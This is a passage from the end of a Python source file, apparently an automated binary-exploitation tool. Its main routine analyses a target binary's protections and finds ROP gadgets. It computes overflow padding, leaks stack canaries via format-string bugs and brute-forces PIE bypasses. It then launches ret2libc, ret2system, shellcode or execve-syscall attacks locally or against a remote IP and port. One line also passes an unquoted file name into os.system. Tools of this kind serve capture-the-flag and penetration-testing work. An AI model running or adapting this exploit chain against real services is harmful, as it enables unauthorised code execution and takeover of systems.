remote_mode = True 3371 | else: 3372 | print_info("local exploitation mode") 3373 | remote_mode = False 3374 | 3375 | # Set up libc 3376 | if args.libc: 3377 | if not os.path.exists(args.libc): 3378 | print_error(f"libc file not found: {args.libc}") 3379 | sys.exit(1) 3380 | libc = args.libc 3381 | print_info(f"using custom libc: {Colors.YELLOW}{libc}{Colors.END}") 3382 | else: 3383 | libc = 1 3384 | libc_path = detect_libc(program) 3385 | 3386 | print_section_header("BINARY ANALYSIS PHASE") 3387 | 3388 | # Set permissions 3389 | print_info("setting executable permissions") 3390 | if not set_permission(program): 3391 | print_warning("failed to set permissions, continuing anyway") 3392 | 3393 | # Collect binary information 3394 | print_info("collecting binary security information") 3395 | info_dict, stack_protection, rwx_segments, bit_arch, pie_enabled = collect_binary_info(program) 3396 | display_binary_info(info_dict) 3397 | 3398 | print_section_header("FUNCTION ANALYSIS") 3399 | 3400 | # Analyze functions 3401 | print_info("scanning PLT functions") 3402 | function_addresses = scan_plt_functions(program) 3403 | function_flags = set_function_flags(function_addresses) 3404 | 3405 | # Set global function flags 3406 | for func, available in function_flags.items(): 3407 | globals()[func] = available 3408 | 3409 | print_section_header("ROP GADGET DISCOVERY") 3410 | 3411 | # Find ROP gadgets based on architecture 3412 | if bit_arch == 64: 3413 | print_info("searching for x64 ROP gadgets") 3414 | pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers = find_rop_gadgets_x64(program) 3415 | else: 3416 | print_info("searching for x32 ROP gadgets") 3417 | (pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, 3418 | ret_addr, int_0x80, eax, ebx, ecx, edx) = find_rop_gadgets_x32(program) 3419 | 3420 | print_section_header("PADDING CALCULATION") 3421 | 3422 | # Determine padding 3423 | if args.fill: 3424 | padding = args.fill 3425 | print_info(f"using manual padding: {Colors.YELLOW}{padding}{Colors.END} bytes") 3426 | else: 3427 | print_info("performing dynamic stack overflow testing") 3428 | padding = test_stack_overflow(program, bit_arch) 3429 | if padding != 0: 3430 | # Apply assembly-based padding adjustment 3431 | adjusted_padding = asm_stack_overflow(program, bit_arch) 3432 | if adjusted_padding: 3433 | padding = adjusted_padding 3434 | # Display vulnerable function information 3435 | results = vuln_func_name() 3436 | if results: 3437 | print_section_header("VULNERABLE FUNCTIONS IDENTIFIED") 3438 | for func_name in results: 3439 | print_success(f"vulnerable function: {Colors.RED}{func_name}{Colors.END}") 3440 | print_section_header("ASSEMBLY CODE ANALYSIS") 3441 | for func_name in results: 3442 | print_info(f"disassembling function: {Colors.YELLOW}{func_name}{Colors.END}") 3443 | os.system("objdump -d -M intel " + program + " --no-show-raw-insn | grep -A20 " + '"' + func_name + '"') 3444 | else: 3445 | # Try static analysis 3446 | static_padding = analyze_vulnerable_functions(program, bit_arch) 3447 | if static_padding: 3448 | padding = static_padding 3449 | print_success(f"static analysis found padding: {Colors.YELLOW}{padding}{Colors.END} bytes") 3450 | 3451 | print_section_header("STRING ANALYSIS") 3452 | 3453 | # Check for /bin/sh string 3454 | print_info("searching for /bin/sh string in binary") 3455 | bin_sh = check_binsh_string(program) 3456 | 3457 | # Handle canary protection (following pwnpasi_base.py logic) 3458 | if stack_protection == 1: 3459 | print_section_header("CANARY PROTECTION DETECTED") 3460 | print_warning("canary protection is enabled") 3461 | print_info("testing for format string vulnerability to bypass canary") 3462 | fmtstr = detect_format_string_vulnerability(program) 3463 | if fmtstr == 1: 3464 | print_success("format string vulnerability detected") 3465 | print_info("attempting to leak canary value") 3466 | leakage_canary_value(program) 3467 | padding, c, diff = canary_fuzz(program, bit_arch) 3468 | if padding == None and c == None and diff == None: 3469 | print_error("failed to leak canary value") 3470 | else: 3471 | print_success("canary value successfully leaked") 3472 | if args.ip and args.port: 3473 | print_section_header("REMOTE EXPLOITATION") 3474 | print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") 3475 | if globals().get('system', 0) == 1 and bin_sh == 1: 3476 | if bit_arch == 32: 3477 | ret2_system_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff) 3478 | sys.exit(0) 3479 | if bit_arch == 64: 3480 | ret2_system_x64_canary_remote(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,args.ip,args.port,c,diff) 3481 | sys.exit(0) 3482 | 3483 | if globals().get('puts', 0) == 1: 3484 | if bit_arch == 32: 3485 | ret2libc_put_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff) 3486 | sys.exit(0) 3487 | if bit_arch == 64: 3488 | ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff) 3489 | sys.exit(0) 3490 | 3491 | if globals().get('write', 0) == 1: 3492 | if bit_arch == 32: 3493 | ret2libc_write_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff) 3494 | sys.exit(0) 3495 | if bit_arch == 64: 3496 | ret2libc_write_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff) 3497 | sys.exit(0) 3498 | 3499 | if bit_arch == 32: 3500 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: 3501 | execve_syscall_canary_remote(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,args.ip,args.port,c,diff) 3502 | sys.exit(0) 3503 | else: 3504 | print_section_header("LOCAL EXPLOITATION") 3505 | print_info("executing local binary exploitation") 3506 | if globals().get('system', 0) == 1 and bin_sh == 1: 3507 | if bit_arch == 32: 3508 | ret2_system_canary_x32(program,libc,padding,libc_path,c,diff) 3509 | sys.exit(0) 3510 | if bit_arch == 64: 3511 | ret2_system_canary_x64(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,libc_path,c,diff) 3512 | sys.exit(0) 3513 | 3514 | if globals().get('puts', 0) == 1: 3515 | if bit_arch == 32: 3516 | ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff) 3517 | sys.exit(0) 3518 | if bit_arch == 64: 3519 | ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff) 3520 | sys.exit(0) 3521 | 3522 | if globals().get('write', 0) == 1: 3523 | if bit_arch == 32: 3524 | ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff) 3525 | sys.exit(0) 3526 | if bit_arch == 64: 3527 | ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff) 3528 | sys.exit(0) 3529 | 3530 | if bit_arch == 32: 3531 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: 3532 | execve_canary_syscall(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,c,diff) 3533 | sys.exit(0) 3534 | 3535 | sys.exit(0) 3536 | else: 3537 | print_error("no format string vulnerability found for canary bypass") 3538 | print_warning("canary protection cannot be bypassed with current methods") 3539 | 3540 | # Stack overflow detection (following pwnpasi_base.py logic) 3541 | if not args.fill: 3542 | #print_section_header("VULNERABILITY ANALYSIS") 3543 | #print_info("testing for stack overflow vulnerability") 3544 | padding = test_stack_overflow(program, bit_arch) 3545 | if padding != 0: 3546 | padding = asm_stack_overflow(program, bit_arch) 3547 | #print_success(f"stack overflow vulnerability detected with padding: {Colors.YELLOW}{padding}{Colors.END} bytes") 3548 | results = vuln_func_name() 3549 | 3550 | else: 3551 | print_warning("no stack overflow vulnerability detected through dynamic testing") 3552 | 3553 | print_section_header("EXPLOITATION PHASE") 3554 | print_info("initializing exploitation attempts") 3555 | 3556 | # Format string vulnerability handling when no stack overflow 3557 | if padding == 0: 3558 | print_section_header("FORMAT STRING VULNERABILITY ANALYSIS") 3559 | print_info("testing for format string vulnerability") 3560 | fmtstr = detect_format_string_vulnerability(program) 3561 | if check_binsh(program): 3562 | print_success('/bin/sh string found in binary') 3563 | bin_sh = 1 3564 | else: 3565 | print_warning('/bin/sh string not found in binary') 3566 | bin_sh = 0 3567 | 3568 | if args.ip and args.port: 3569 | print_section_header("REMOTE FORMAT STRING EXPLOITATION") 3570 | print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") 3571 | if globals().get('system', 0) == 1 and bin_sh == 1: 3572 | print_info('attempting to leak program strings via format string') 3573 | fmtstr_print_strings_remote(program, args.ip, args.port) 3574 | try: 3575 | offset = find_offset(program) 3576 | log.info(f"Offset found: \033[31m{offset}\033[0m") 3577 | result = find_ftmstr_bss_symbols(program) 3578 | if len(result) == 3: 3579 | function, buf_addr, function_name = result 3580 | system_fmtstr_remote(program, offset, buf_addr, args.ip, args.port) 3581 | except ValueError: 3582 | print('[*]Offset not found, continuing with other exploitation methods') 3583 | sys.exit(0) 3584 | else: 3585 | print_warning('system function or /bin/sh not available, attempting string leak only') 3586 | fmtstr_print_strings_remote(program, args.ip, args.port) 3587 | sys.exit(0) 3588 | 3589 | else: 3590 | print_section_header("LOCAL FORMAT STRING EXPLOITATION") 3591 | print_info("executing local format string exploitation") 3592 | if globals().get('system', 0) == 1 and bin_sh == 1: 3593 | print_info('attempting to leak program strings via format string') 3594 | fmtstr_print_strings(program) 3595 | try: 3596 | offset = find_offset(program) 3597 | log.info(f"Offset found: \033[31m{offset}\033[0m") 3598 | result = find_ftmstr_bss_symbols(program) 3599 | if len(result) == 3: 3600 | function, buf_addr, function_name = result 3601 | system_fmtstr(program, offset, buf_addr) 3602 | except ValueError: 3603 | print('[*]Offset not found, continuing with other exploitation methods') 3604 | sys.exit(0) 3605 | else: 3606 | print_warning('system function or /bin/sh not available, attempting string leak only') 3607 | fmtstr_print_strings(program) 3608 | sys.exit(0) 3609 | else: 3610 | # Stack overflow exploitation (following pwnpasi_base.py logic) 3611 | if args.ip and args.port: 3612 | print_section_header("REMOTE STACK OVERFLOW EXPLOITATION") 3613 | print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") 3614 | if pie_enabled == 1 and globals().get('backdoor', 0) == 1: 3615 | print_warning("PIE protection detected, but backdoor function available") 3616 | print_info("initiating PIE bypass via backdoor function brute force") 3617 | pie_backdoor_exploit_remote(program, padding, globals().get('backdoor', 0), libc_path, libc, args.ip, args.port, globals().get('callsystem', 0)) 3618 | sys.exit(0) 3619 | 3620 | if globals().get('system', 0) == 1 and bin_sh == 1: 3621 | if bit_arch == 32: 3622 | ret2_system_x32_remote(program, libc, padding, args.ip, args.port) 3623 | sys.exit(0) 3624 | if bit_arch == 64: 3625 | ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, args.ip, args.port) 3626 | sys.exit(0) 3627 | 3628 | if globals().get('write', 0) == 1: 3629 | if bit_arch == 32: 3630 | ret2libc_write_x32_remote(program, libc, padding, args.ip, args.port) 3631 | sys.exit(0) 3632 | if bit_arch == 64: 3633 | ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port) 3634 | sys.exit(0) 3635 | 3636 | if globals().get('puts', 0) == 1: 3637 | if bit_arch == 32: 3638 | ret2libc_put_x32_remote(program, libc, padding, args.ip, args.port) 3639 | sys.exit(0) 3640 | if bit_arch == 64: 3641 | ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port) 3642 | sys.exit(0) 3643 | 3644 | if rwx_segments == 1: 3645 | if bit_arch == 32: 3646 | function, buf_addr, function_name = find_large_bss_symbols(program) 3647 | if function == 1: 3648 | rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port) 3649 | sys.exit(0) 3650 | if bit_arch == 64: 3651 | function, buf_addr, function_name = find_large_bss_symbols(program) 3652 | if function == 1: 3653 | rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port) 3654 | sys.exit(0) 3655 | 3656 | if bit_arch == 32: 3657 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: 3658 | execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, args.ip, args.port) 3659 | sys.exit(0) 3660 | else: 3661 | print_section_header("LOCAL STACK OVERFLOW EXPLOITATION") 3662 | print_info("executing local stack overflow exploitation") 3663 | if pie_enabled == 1 and globals().get('backdoor', 0) == 1: 3664 | print_warning("PIE protection detected, but backdoor function available") 3665 | print_info("initiating PIE bypass via backdoor function brute force") 3666 | pie_backdoor_exploit(program, padding, globals().get('backdoor', 0), libc_path, libc, globals().get('callsystem', 0)) 3667 | sys.exit(0) 3668 | 3669 | if globals().get('system', 0) == 1 and bin_sh == 1: 3670 | if bit_arch == 32: 3671 | ret2_system_x32(program, libc, padding, libc_path) 3672 | sys.exit(0) 3673 | if bit_arch == 64: 3674 | ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path) 3675 | sys.exit(0) 3676 | 3677 | if globals().get('write', 0) == 1: 3678 | if bit_arch == 32: 3679 | ret2libc_write_x32(program, libc, padding, libc_path) 3680 | sys.exit(0) 3681 | if bit_arch == 64: 3682 | ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path) 3683 | sys.exit(0) 3684 | 3685 | if globals().get('puts', 0) == 1: 3686 | if bit_arch == 32: 3687 | ret2libc_put_x32(program, libc, padding, libc_path) 3688 | sys.exit(0) 3689 | if bit_arch == 64: 3690 | ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path) 3691 | sys.exit(0) 3692 | 3693 | if rwx_segments == 1: 3694 | if bit_arch == 32: 3695 | function, buf_addr, function_name = find_large_bss_symbols(program) 3696 | if function == 1: 3697 | rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr) 3698 | sys.exit(0) 3699 | if bit_arch == 64: 3700 | function, buf_addr, function_name = find_large_bss_symbols(program) 3701 | if function == 1: 3702 | rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path) 3703 | sys.exit(0) 3704 | 3705 | if bit_arch == 32: 3706 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1: 3707 | execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80) 3708 | sys.exit(0) 3709 | 3710 | if __name__ == '__main__': 3711 | try: 3712 | main() 3713 | except KeyboardInterrupt: 3714 | print_error("\ninterrupted by user") 3715 | sys.exit(1) 3716 | except Exception as e: 3717 | print_critical(f"unexpected error: {e}") 3718 | sys.exit(1) 3719 | 3720 | 3721 | --------------------------------------------------------------------------------